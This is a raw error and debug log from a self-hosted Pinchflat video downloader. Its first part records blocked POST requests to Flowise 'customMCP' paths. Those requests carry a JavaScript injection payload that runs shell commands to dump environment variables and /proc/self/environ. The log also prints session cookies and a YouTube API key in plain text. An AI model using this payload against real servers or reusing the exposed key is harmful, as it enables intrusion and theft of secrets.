adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/node-load-method/customMCP", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35182}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "211", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 211, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "inputs" => %{ "mcpServerConfig" => "({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )" }, "loadMethod" => "listActions" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29963.0>, params: %{ "inputs" => %{ "mcpServerConfig" => "({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )" }, "loadMethod" => "listActions" }, path_info: ["api", "v1", "node-load-method", "customMCP"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept-encoding", "gzip"}, {"content-length", "211"}, {"content-type", "application/json"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/v1/node-load-method/customMCP", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61uuOj1HPLEkAAIQD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/node-load-method/customMCP", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35182}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "211", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 211, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /api/v1/node-load-method/customMCP (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/node-load-method/customMCP", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35182}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "211", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", (truncated) 16:49:12.896 [info] POST /flowise/api/v1/node-load-method/customMCP 16:49:12.896 [debug] QUERY OK source="settings" db=0.1ms idle=581.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.896 [debug] QUERY OK source="settings" db=0.0ms idle=428.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.896 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:12.897 [error] #PID<0.29965.0> running PinchflatWeb.Endpoint (connection #PID<0.29964.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST /flowise/api/v1/node-load-method/customMCP ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /flowise/api/v1/node-load-method/customMCP (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29964.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/flowise/api/v1/node-load-method/customMCP", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35184}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "211", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 211, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "inputs" => %{ "mcpServerConfig" => "({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )" }, "loadMethod" => "listActions" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29965.0>, params: %{ "inputs" => %{ "mcpServerConfig" => "({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )" }, "loadMethod" => "listActions" }, path_info: ["flowise", "api", "v1", "node-load-method", "customMCP"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept-encoding", "gzip"}, {"content-length", "211"}, {"content-type", "application/json"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/flowise/api/v1/node-load-method/customMCP", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61vMvAeQZmNUAAIQj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29964.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/flowise/api/v1/node-load-method/customMCP", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35184}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "211", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 211, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /flowise/api/v1/node-load-method/customMCP (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29964.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/flowise/api/v1/node-load-method/customMCP", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35184}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "211", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", (truncated) 16:49:15.082 [info] {"source":"oban","duration":9677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:49:45.095 [info] {"source":"oban","duration":12550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":13} 16:49:56.019 [info] {"args":{"id":14},"id":5268288,"meta":{},"system_time":1791582596019248411,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:49:56.020 [debug] QUERY OK source="sources" db=0.6ms idle=1325.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 16:49:56.020 [debug] QUERY OK source="settings" db=0.1ms idle=1326.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:56.020 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:49:56.020 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:56.020 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 16:49:56.020 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:56.020 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:49:56.140 [debug] QUERY OK source="media_items" db=0.5ms idle=120.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "uMhdcq2rqUU", "E5p4TgCNd1I", "NS1Qlu1JTOs", "Nx6ThYgEtg8", "yTD_VbxleZU", "AR-F8Ttpld8", "XQNhCU17ipM", "Hj_yRDR9EzE", "9KwLFC6RDGk", "qz9DvI-NY6k", "oCez-4XUoew", "5bsI3M44NWo", "AVd3ds5U2xc", "NQGYqypeUOs", "-SSI6E5QCOw", "j43j9iwU158", "-mKb75P7wT0", "mWFKVqtAkeI", "qUVsX49fNFw", "b1huB4CSzks", "bMPgRlgcJcE", "ssavPVf6JvE", "mrcnQu6Xfas", "W5fK8BmgBow", "3lJ5oT_JviI", "TpVM45JNupQ", "oMUaZsvJQVQ", "xVm6_IIrHc4", "XXrCAC6bUsk", "Y4IJxO518mI", "DsfsZQjOfu0", "1i8a24si74Y", "E2KfkGF77uo", "-iwvu0uozhs", "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", ...] 16:49:56.142 [debug] QUERY OK source="media_items" db=1.6ms idle=120.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 16:49:56.143 [debug] QUERY OK source="tasks" db=0.1ms idle=122.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268327, 14, ~U[2026-10-09 21:49:56Z], ~U[2026-10-09 21:49:56Z]] 16:49:56.143 [info] {"args":{"id":14},"id":5268288,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":124503,"event":"job:stop","queue_time":459927,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:50:00.416 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:01.674 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/fd/86/fd86ef9800dce081b21d246dc51e19182e68d5c64bb962181209494b4c21ed8d.json --sleep-requests 61 --sleep-interval 86 --sleep-subtitles 68 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 16:50:01.674 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 16:50:01.675 [debug] QUERY OK source="settings" db=0.1ms idle=1981.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:01.675 [debug] QUERY OK source="settings" db=0.0ms idle=1981.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:01.675 [debug] Running yt-dlp command for action: get_media_attributes 16:50:01.675 [debug] QUERY OK source="settings" db=0.0ms idle=1658.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:01.675 [debug] QUERY OK source="settings" db=0.0ms idle=1259.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:01.675 [debug] QUERY OK source="settings" db=0.0ms idle=657.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:01.675 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a4/86/a4862de06a3890f937d10045cb30f0ac74902907af33225f41915c0b5b22dca4.json --sleep-requests 71 --sleep-interval 68 --sleep-subtitles 71 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:50:09.032 [info] {"args":{"id":12},"id":5268289,"meta":{},"system_time":1791582609032243922,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:50:09.032 [debug] QUERY OK source="sources" db=0.1ms idle=338.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 16:50:09.032 [debug] QUERY OK source="settings" db=0.1ms idle=338.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:09.032 [debug] QUERY OK source="media_profiles" db=0.1ms idle=338.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:50:09.033 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:09.033 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 16:50:09.033 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 